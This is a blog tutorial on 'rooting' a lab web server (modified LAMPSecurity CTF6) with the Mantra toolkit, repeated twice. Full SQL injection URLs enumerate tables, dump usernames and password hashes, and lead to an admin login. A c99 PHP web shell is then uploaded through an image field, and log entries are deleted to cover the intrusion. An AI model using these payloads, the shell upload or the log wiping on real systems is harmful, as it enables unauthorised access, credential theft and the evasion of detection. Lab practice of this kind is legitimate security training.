Hi All,
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
![[Image: mantrahackbar1.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s5aakDBf9vkHW8MEq8tCzlCIJpc7RVROFfebgwjWYLcaePa0zHvpH6TByAJ0QihQnnjwDbWIDn6erjNJHIcN27b2cZoyTvqU9rehozUbw7P-PSHRMw6ibAFxFhwMPThDFHfuYSptEA-9dP0cv5jQYxy0Q1SEoIKI8_A-nmncYaMkL3=s0-d)
Step 2:
I went through all the pages of web site and found a page with URL input
![[Image: mantrahackbar2.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sM9Ghb8gFRmJrua3aw-G-Tk7S7xSJBjSD4-wc4u8CH9qila72cuBBj4E1jBsTxWWLasAHvvuTLkgUjvyjHg2Qa0MQU2y_2mES-ln4rK2VoE1swdv1X5CUGqhseBMu2994q7cMDcEqKNy_bA7NJX4syJ_EZxosoliwj1iBQkq25gp_ZLA=s0-d)
Step 3:
I launched Hackbar by pressing F9
![[Image: mantrahackbar3.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uxMZdxVhHwpJFL_vIYPfcjJXNAvEoXgmac5JJY84Ic9eNWZisfgm7dN1yE1NjGG6JY6vEOi_p3RpamPvnjH_Cm0JYXXIYmS-LpJoyhU3xyKYAx1VzQai8wCHQNUVvnu0Sgy-k3pis7NPN5jDbT2Dm105UTolNsvJX1XkaW81oZxGmBiQ=s0-d)
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
![[Image: mantrahackbar4.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vaH8JkHgY_CX-ZhnQu-6l62HAuKlxpEI__OuV_3CD3Kfdls0YfHSAEt93NGBnpqxXOp8yvo5KmJkr-_MKV25uanBbV2eOfamx1dOHq6H4IguEH-LuOnVdfwVDlf9XZVKsOoCSWvrrTgTkIg06uB59PSweXZCKGJ5k6mGvVO-MQ4GIJeg=s0-d)
Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
![[Image: mantrahackbar6.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u6yeuHUKRBimyeqSyviZwQk2U0eWNmWk9c-4bu8dgpes8ptodFQWwx5JkMORrYgUPAdthw5FIXDFEe5INDuOVgH03ADujXn_ExNWwTKOn4ltv_7rJ_DR_ADrEKfPyuQD6GCLKTEdSHeaKfAGscQVHhJ_jKrOTFaG-Co67BlMt6IjrjGw=s0-d)
Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
![[Image: mantrahackbar7.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_se88pTfBEF1ybLcBMpsjtlVRuAGgEkiwkCyMV_XID5MaJae5GPBdPZxVwTEyIb46z8f-nULo-3g8_igV_TMKcEM3L66WjBibM1Ly2L6B5n96utjq8ZOAL4ClqR4T6Rnt5N7qU20AGmadamlguBZM6mcGJoduwZEtpyrkKBrL0AvpHB=s0-d)
Step 7:
I went up to 7 and no change till now
![[Image: mantrahackbar12.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_slzy-9IvCvRtzEuK4qevQUBmV0H_y5unQweXMAZH3DIa7HlCjfR7O4Aq8GAqcyTcSUHvrjoHN70q46CB5nvaek5lYqiJd7TxuPNf9OjQzxNffy5NyVnfe08QTmLcKB5ceyc_y9xUyx_-VM8iFdnNj5G4K2fJHHH_gj6dEZSrQgYFjc3gQ=s0-d)
Step 8:
I'm on 8 now and I can see the page changed
![[Image: mantrahackbar13.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tzfXQSywcE8mYQRfhVICEZGgWKxvugS3ly0LziNEdYjJ-HJaEmYSRtI8x2rEFSpiiTQTvKfcPk8Z-5r8IeDvhJLjtKWfAeOWSAtjxewOPJiXb-EbsU8zYULf_sDBYH2z_E4IQEQJwTMeZLBUkBhzHF3TqL-0_mUoIeKCleL9Zq_8K0rkk=s0-d)
Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
![[Image: mantrahackbar14.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s3NEQ6Pktyzp7PNWTGVF7zrmU1LoxbWOT7qRO5lilWOrOF4xy9EFNfg76cxcevu3hqcB73aYsR4FMY5vfQ4jaSNcrfrb_xgju5y_AaX0r8ZP0zDWsRo37s7SDBtwyrzxdcfVPmmQKZj91PpogjisBJjDq07CPZ8C-nV_eTxWK9FxidVJ0=s0-d)
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
![[Image: mantrahackbar16.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vE3sfSPjT71rAUgEOh8HMJKvmi1atuCPtxm9jCu7JNPVM8Sx3jvIuRFGc3MKuV6xwUtFJ1duaP-Z2Yqv4Zk2zCLlnfey9XTLSIGkRhxiqlxw5sMNwQTgh3Wuq4U9htSfUrGhtK_a1KPL6QO_eAaCYbjPIPihFVpTWiCSFCXQiNWfwsIaw=s0-d)
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
![[Image: mantrahackbar19.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_swhDx2YQPbIbybOi9rHDwP4g7f2GPJ-ycbZnZkQhB6g2dT0sv4Xaav1zZyVRbuhi2MfexNA8sRLVL-ccZzmaQyCMakWuewrG1UvqxnzJKJ2lotQCzzr2q9Wt2CrmUQ0G0QGreqnYiKp3uajNbMB6DsH9AwLBkEDA3Kn5XxQo6f6MMubw=s0-d)
Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
![[Image: mantrahackbar21.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uoH8JXhXSiKYFUFignS7zk9keaJsnMzd1H8e_6pI5iCAGgKZIH8AoL4KmUR8ne7e86JhoIfZBAxEHCB1WX7jCR-zECKKk_UyNro-__z3GnQkCkB1CzZF7Brnuf1j8o6dgLjLY5aFsqVWnv4_TZOHWu23WJlVHC9SUofULFS4s8-cScEl0=s0-d)
The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
![[Image: mantrahackbar22.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uy3QuQwOwAhfFoAGoivkEoB-Klc-aVv9ijkeYxBQF0d51F4Q5sr46eCsiKLgxipIKCzGLWQBqb1YlPpIHbVJhb9sdoHj5xuVWWGcxw2UbH3vazUa_NW1yggBj-9TnPUAAfix8zcoo6OLMn7Tok1UfqJlvFsENHPajIzcYWrFVssRf67po=s0-d)
5.0.45 is the version
Step 14:
Let me list all the tables
![[Image: mantrahackbar23.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_swnzmyPjLumbQY5c8mQ1gJHMCwrsOF3K7fFmlf1eeUXTxKz7WhLU2xAsrJaloY74zKxk2kR2mThoLDF2o1BAldYhjss9Z7NNpYWMY4ZRi5iomnGunh6XysfIXY3j5aRGhXjMOOUyCBzmIQ2_yyCfevFaLSjQe7cYbRaR7S3f_5XRCHUg=s0-d)
From this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
![[Image: mantrahackbar24.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tWrD2vRLhh704uS7WQvr4hzs248PX_h_aPENAKf8pMkpadHRR2ISqYIFzpna26DmVNCLZhXmtfX2J1stDDtcmtqa9sdZ4pn-0bZtY4X2gZ16Hy1PRZesS7h1Jrbs1OOLuDgH-cPgJf99JZ0-nFAiiIcDcXeJk4Tk6Dc7M_hRC5oa8xDA=s0-d)
Step 16:
I want columns from the table "user" and nothing else
![[Image: mantrahackbar25.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s1Dt1_AGUgcOmJWU831Z4JFe5pHoFa5U__UNJ1frLVdrduUhBNwZ0VmN0hbs2PoU7CjHv2g1SK0ad_U_VSB3wkgq7UCh71bJfBuOmynkoCqk17LLP_-D5A_FYP9HWicJSMf1xXK2gQAZ-1qajvB5AV9xCIADY02mg7eI3R2wJQUgVC3uk=s0-d)
Step 17:
Lets find the user name
![[Image: mantrahackbar27.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tBieCx1xxM-jptEjUSCMwsDCAqfFefp-Bd1rbQ5aiOkKS3396FEtqvm05qbtyE0xfwI-8ODly8v1kNzoL4lixskBUSiVfzPyY07QUPm4aKa4_Cah828dBOBuby9ng0YNE3oPcrbVHKLvKOskQ1_8Ey_c9IjHBif4TzuBZZryVYOwE0iQY=s0-d)
Step 18:
Now, what about password
![[Image: mantrahackbar26.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tkzGG5qnoKODobe2uFXdZultiy3SWXs2AkTF6IRA09QRmwEb1V6OV0f4sJPeceWmuihDNB386QLWE1bpkWmXeDlBOMsJFFcmKb9gMClIyxGx_yjHGQKCh-jIepeZBOmhxsKv_gkDXUdyBRSNN3WPZB1KJwb_pj5DlDYi85I-jRHd7Mbkc=s0-d)
Its encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
![[Image: mantrahackbar30.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sCtPd0xmaHBqeZxzHyyrQbzz_GDR_LdrYwpUa67hBBh6ig6DEzmPRI52HM6qw9O4-p-A8AbuVg6_OcFnPyiizjWUfgPhtd1VpzGghE4bGVfGOv7NY5d71Jejp52ssb-jvavDzZ7yNa1-gT9fMCZ4C_UNGZ4Sg8aEQCCOpOtpIJd5a3MrQ=s0-d)
Step 20:
Voila.!!! I got the password
![[Image: mantrahackbar31.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t0Bt8XGstV33ZE9A6b9Put5plON-AA4yjSkZnQ5iEUGNZUXwvhsIqtTx7q3AkRR5fXFOMv5lig0w3I7e-aXG1SpirahVDgpeGv622d251c2_svxx3StyG9c07yz6i20FIPgcEZ4Vd6-dZjsy4XojaZ-LBSYe3RTi7ElN5IEybNsjKknNM=s0-d)
Step 21:
Finding the log in page. Its was right in front of me
![[Image: mantrahackbar32.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ttdPTvYD2fTmBZ3KRPffO0GtHEY1ppVAkdUtkCLFBMZM1ex1SWrjTacmI9zHMHmkUvpyATjaf_dDSH-56SAzzQdDiC-yT_8jLa-DkQLylEyQ9zPr-IUx8JrVtc3LAWbIBEQTCJNFIgDx9J0XnykwWwuQ6lmhK1Bw44JqpytipZoHYJMJA=s0-d)
Step 22:
Logging in with the credentials I have
![[Image: mantrahackbar33.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sGFu6pIBYf9KVoNo9uOS9EgHWERCMf-o8Iv5Lxsoxf9l-U5HMaaNERD4BOdE8JMLmzdQyikGFDWnRunLf8LLonzdy-i1wcbJuftZs6DE5l9ErlBZ6RqcwbVyUqxEXKtXe47fd8kqieKAZ_jQlJZlpIVyLUk6S3Fq4qk9iM0v3Xa4QYEtM=s0-d)
Step 23:
Greetings.!!!
![[Image: mantrahackbar35.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s_y54r5Fk8FAPKGyZn8GNo9869WGpFXJqC4Njz4oIIdAgd67GxMkoHTRlQl3GcK-D79qqjDfBCUKmzp6CjJBA9vrhOrP8ed_vnjk6bsbYSl2f9GgEvcPTpOnFAlVgBgmRgQ5LwvmcZbu89uhC38UDf2BHcvRoQPB11VQBzRSXty5YeQEk=s0-d)
Step 24:
I'm an admin now. Look at my powers.
![[Image: mantrahackbar36.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vb45QbT0t7dPdqvp7ydKtJ0ejgf_HjCWKgObU53l20MeWTkIv9hPywfEPM20JWuT7Czkl_XU2BE2JQLNwkdsD0zCtEDHEzjWiksG74R5USb1RQ73z86DHfquPxR4hYmout0iRwfVqc4Efs9WOHeRh5ChvKOv9PQxSVOwdCAAy9rg3_C6o=s0-d)
Step 25:
Let me add an event
![[Image: mantrahackbar37.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tREXiLKR2DlkRzod078mJK_UcMbdEPOtP7zpoVwEL62vAdZ2ozHz8lrOrMLz1mB17aNwe_CnLhidoEhqWpbaztMXKfOXfmhevcHjqXBqguOisphsbJa9ZsqGET-EM-KyVsjOPweTzXVL8em0p4KFlxujVMeM9yQBjVpI3Zbqm9qiNfLw=s0-d)
Step 26:
and of course I want to upload a picture
![[Image: mantrahackbar38.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vlDgpBhemPY2Xtja4X--rRsWfSwtV9J7onItMrnyIT0JEWMIVUVsGYwAfFqAheAej6yBigrF9s1ANKNiFjK5vXr4_SMU6nxyAZHK1iKME6EK6Bh_eI7RfCt1ObJqrHM-799urEVMjzMGGzWhr5L6PsLzlGX1JH5AhkCkpz-4s7aJJfmQ=s0-d)
Step 27:
Lets see it allows me to upload the shell or not
![[Image: mantrahackbar39.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u5T3PShjJbHATEfnYiiBAbDKsXn6DItNQS4zoBqSCOQ6U52awbPNEyQ8X1oQjATVp9ENBqkx99TdrbbthGa9IPo8kTgDUm5lKzjANT62eMtYU-t0U0PI6v4mvuXnipgTc-x7NqMRLMQMJmeJ5O8AqFkvvX_exq6G3ShdnhA1GfVc1uQ14=s0-d)
Step 28:
Now I'm pressing on "Add Event" button
![[Image: mantrahackbar40.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t2VgQ7Rhy2v_mt6wlHYrpEjt-qhOAMAVJ9NYnYW4tQX7Nw5kpANRv90H7Q2lo4NIa-e4Ac28YFT7OV7XoHJSueZcVT6Ur5SHb6ETRPEhm_2QIHCFIprBr_VwCxkLe36GD6VCOJ3d_iBdScw5ZE_Ph5vaLnW3hGnMz6hzYCNITAdyJtJqU=s0-d)
Step 29:
Nice. Looks like it's got uploaded
![[Image: mantrahackbar41.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vBpKSATM5mtD3zYMTF6vY37Em-j-AkzA1XLe_r2cUbBhjHT_x-I2vwpg1ZO9uA4OxP__sYYHXhFhkiXWELKpQg285meRCUIAdG5FvJ9pZ-iC8_IEvRa8XbVpRdcRZRH4H0hlPdFv3GkN3jEqxHvmN8MyqmIossGu3nQcNEICYUBEJ-vQ=s0-d)
Step 30:
Let's see where the shell got uploaded to
![[Image: mantrahackbar42.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ts46ONXq55H3QO8VHrZX8ACIQ0fYKHejWzRYZO7bqwPTdQcc9fO79un7VA8aJBs5kWrxt8ew8Nqi823slniO3ZN1WMmDtroIiSJIvlkNgzTxqYTYbwRIc3zDGVSnjrhJdKwyZBQ-fhcVkn4GpRD3J-Jljo78PGZc57OU6N34I58lEQKb8=s0-d)
Step 31:
I'm trying to get the default upload location
![[Image: mantrahackbar43.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vf7QwUsiowcSRtpTRfv5T2_e0Fyy7ecBgZ25IDFMH3qCs2aqIbzoFwUVvAW_AHZMcHxblSPqE80hO3qQwnn7olPs2XB3_mIL3jAiXJ48fEJhOc_jKYw96XUx2gGFLEO82YiR5KzToMmhqHFdAWQPUi6pkhJWgge-1wijTb8FjyKOChTZA=s0-d)
![[Image: mantrahackbar44.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sbI-5UmZH5e5vlc29Dud87f7Fm9QHaESbRInwu6Dd-9a6lrSN6FNc0Nb7C5-HDdX2BzVCeFsJsXnUykwAMPmgZpkrKp_0rFmYEyRGOVhYqqQA-6uP2KTe8Cm_D_g2QdMMvrFzHD7R8r9DihVEj2mwB6bUVm-_-ik8ysxfq7Y7FXYT1X-M=s0-d)
Step 32:
Looks like I got it
![[Image: mantrahackbar45.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sgRyDpw7OQE_pyFcU6o_lAtr2zLbaZ_Q5X1dviPSpvczeOH-tYXZpYyzJy8yVDoFOdB9AVc7gBTlCvp93M5QdbEHcb5pKqZpux25oUM4eTtnqxQaINbmJ1u49Q5Tp-CBmrzvpjFrHH-Ywnl4VCaj4eiSZCF0KUmkWStkYLPQhVmBePnTE=s0-d)
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
![[Image: mantrahackbar46.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uLkoNv8MbbtMgsxmNltMikBe52Z7-SIY-M0zznHMZZcdGbEyJ-gGa-RI_hhRScz8nMCfedEyhkgle-xnXrCEDSPeEeav0Tyu3x9sC_4vZGKRXNm-6a3XW8VoQWsc5pIox8jhPJmnoTSEw2rifdeEsfI3OQpracFg9lkI6SACKxhgYtpAU=s0-d)
Step 34:
I simply clicked on the up button to get the root folder
![[Image: mantrahackbar48.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uHzlD2NeYjTslfJDdKtfEjXAGHYOlKHXqfLZLAG3EKQkwesZZSAPVBlBS1T4-vEeH76a-JW5QcGuGuZv5x4aTBOMbepqcgMcMXXMbUX_QQEJIQx3v_ezn-VCLUnM-Y0MkWEgxvaw85pEr5jBmpmhWe-ky8WPD6TOVx5X9D3MqHhwD7mek=s0-d)
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
![[Image: mantrahackbar49.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vyT3_pFJR76YHTpomM0fzZuTaF8KR2PvoY3Oeh0vN7kWe5DqIlWQAQh5IupndETAhlHl48GeLmptVe4j0WMYtafbclZDnIVF4qVuNvZPVBQNHHNPm6IplQRd15LMwzM4Ky0LXb0Khm3kWlSEMtKgzgpgomzCPT89u_IDuL4T-o_BBOGCY=s0-d)
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
![[Image: mantrahackbar51.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s82tcH_z-ThPPHTE63Tp5PLHQqHgtuNR3-vyLNcqNVMQJyozx0Eu2yoRKMliSyuG4R49s4uEl4Wb-fSySnTnEZlXjlJT6lnqFo5iz6Ul7K1KhDP9_Pja7Og4hdLnXA0VHLHF0azUlY-RsRgBOAzKUL6TDMKohmXf25V7nt_gy0gyk9Zw=s0-d)
Step 37:
Let me go back and edit the log file
![[Image: mantrahackbar52.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ubXeVIkJMxM4Umtx4vc9oAI4vGFYm9qB2edu_nshsjxYlszRUiFzAaSVWGc5jWeg1QzpUqIE37Peyzpdw88Wa0cRwOOWTaEbm0uomQGYnFj7Mz8_ycrtMpk1niEPEZOHKUsPc2PJKwrkf-vZ6rtlKHAZxB9YaxafX8sSM1rZnuBykShL0=s0-d)
![[Image: mantrahackbar53.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t99AplQm0qGXAkNuCukZqm18kfx2BtY2O8_B4gCGg49dYRrYv_pRTvIwRXnRvXHAiODyCvbvZCE-gN5yrpeQFw0ggwksP_a8IuV1Yyg5jLovG9jbwakSMTUlEntX7Sx79ZETExmWgDYFq-3A0Vh-53RySKtvBnl2DK-vHAV18kh6-RnA=s0-d)
Step 38:
I deleted complete log entries. Now saving it.
![[Image: mantrahackbar54.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s38VZw2EZbVXqSKT0iYx_V6yWZLRQRm1s5TRoCXmpiZV8b3uwhlqcBLVGBMjO7oziOV5_4jLZoUL7OiY3WCHRZcreMEMw_O89ze1hZqYp7G8CNPhphf78_HQbvVaUfsxlgJ8YBDTEd-F2f90LKPDv0S3Nz233vCWeLDBFw_nfyWaE0aHg=s0-d)
Step 39:
Nice. Log file is empty now
![[Image: mantrahackbar56.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u_EwrTXjelHZ-pBABcxbOXcz6Lqy8bvXImlccL3ix-d7lXdDpSlvC6DEuFpYwoYu1VTs2wURykGB5dmHM09Y_lpQFcEfcOPqOywJH4HLWCi9YR2T50uBSU4X0ieTUWyPihi71yBofEPCvRNMOXXr95OLH2GmDgfYPW9VGxOtSkXi7nOKU=s0-d)
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
![[Image: mantrahackbar57.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_up-fGx0-ZHbuVp6X_UM-Mh8zxWigFlF1Da-vBu284ii2cyMgpDAW5MdLYPuKWLwVUXIvqmxXvjvopq2dI7FgbC5b6OxA6ZuOOM23hleG4t5KDw5V1HIBxJyF6Cavufbaw5W_Pl01FHuiUEBE7fwkwpmIk4zUGJv4I3mcOIJPTntZGE-QA=s0-d)
Step 41:
Confirmed.!!!
![[Image: mantrahackbar58.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sgwHb83IrJPxoVg6on9ua08d-rQpaZvgBKpNu5usT4ZeZ_YqxpggoFI3BAsWBM4ud_5O11_xzQhwK7GmfUC3MLq-4CwXsH5yTQh6-RbgWLsezSEFMpQdTp0rgd33r0Ne1s-X8O77g78N9TL71nOaSFQ6aqGehTt1WoScjwcac46As8K64=s0-d)
Step 42:
OK. Good Bye C99
![[Image: mantrahackbar59.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sq-q5BK8k05thQdNqDXffUL57wuRK1xX71iYpKpwGtSCMQhQohXlYIOaKO3e-7Z0PDngFKBJ4CqmfbIDSG8QAJKeW6sqxuPBYq4AXRkAZqSYhml8BRfBu1HPG3pXxtPjBOdmrZMI6F5-7lQGdTu-DQyaTPiv4Ax9RBksJ3-lLwfZqpCQ=s0-d)
Step 43:
Well. It got deleted itself
![[Image: mantrahackbar60.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v5UpReNXj3OVhXnVxeFCTTKtwKDgN6Zc5FYSNURCslMNoVZo7Un3yOcef7lMIITsw6ohfKzxN9fsHEGg9QAerU-Nhp9KlR9NbesTZH0cWYweaO2koWfFZNAom2COeZgL0zjgQRxo6YUPVKk4razRWdfOx08mMIaPncIXSdC3p32CoRZxQ=s0-d)
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
http://192.168.132.128/
Step 2:
I went through all the pages of web site and found a page with URL input
http://192.168.132.128/?id=13
Step 3:
I launched Hackbar by pressing F9
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
http://192.168.132.128/?id=13'Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
http://192.168.132.128/?id=13 order by 1Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
http://192.168.132.128/?id=13 order by 7Step 7:
I went up to 7 and no change till now
http://192.168.132.128/?id=13 order by 7Step 8:
I'm on 8 now and I can see the page changed
http://192.168.132.128/?id=13 order by 8Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
http://192.168.132.128/?id=13 UNION SELECT 1,2,3,4,5,6,7Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
http://192.168.132.128/?id=13 UNION SELECT 1,user(),3,4,5,6,7The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
http://192.168.132.128/?id=13 UNION SELECT 1,version(),3,4,5,6,75.0.45 is the version
Step 14:
Let me list all the tables
http://192.168.132.128/?id=13 UNION SELECT 1,table_name,3,4,5,6,7 from information_schema.tablesFrom this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columnsStep 16:
I want columns from the table "user" and nothing else
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='user'Step 17:
Lets find the user name
http://192.168.132.128/?id=13 UNION SELECT 1,user_username,3,4,5,6,7 from userStep 18:
Now, what about password
http://192.168.132.128/?id=13 UNION SELECT 1,user_password,3,4,5,6,7 from userIts encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
Step 20:
Voila.!!! I got the password
Step 21:
Finding the log in page. Its was right in front of me
Step 22:
Logging in with the credentials I have
Step 23:
Greetings.!!!
Step 24:
I'm an admin now. Look at my powers.
Step 25:
Let me add an event
Step 26:
and of course I want to upload a picture
Step 27:
Lets see it allows me to upload the shell or not
Step 28:
Now I'm pressing on "Add Event" button
Step 29:
Nice. Looks like it's got uploaded
Step 30:
Let's see where the shell got uploaded to
Step 31:
I'm trying to get the default upload location
Step 32:
Looks like I got it
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
Step 34:
I simply clicked on the up button to get the root folder
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
Step 37:
Let me go back and edit the log file
Step 38:
I deleted complete log entries. Now saving it.
Step 39:
Nice. Log file is empty now
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
Step 41:
Confirmed.!!!
Step 42:
OK. Good Bye C99
Step 43:
Well. It got deleted itself
H4qqy H4ck!ng
This comment has been removed by a blog administrator.
ReplyDeleteHmmmok Nice share
ReplyDelete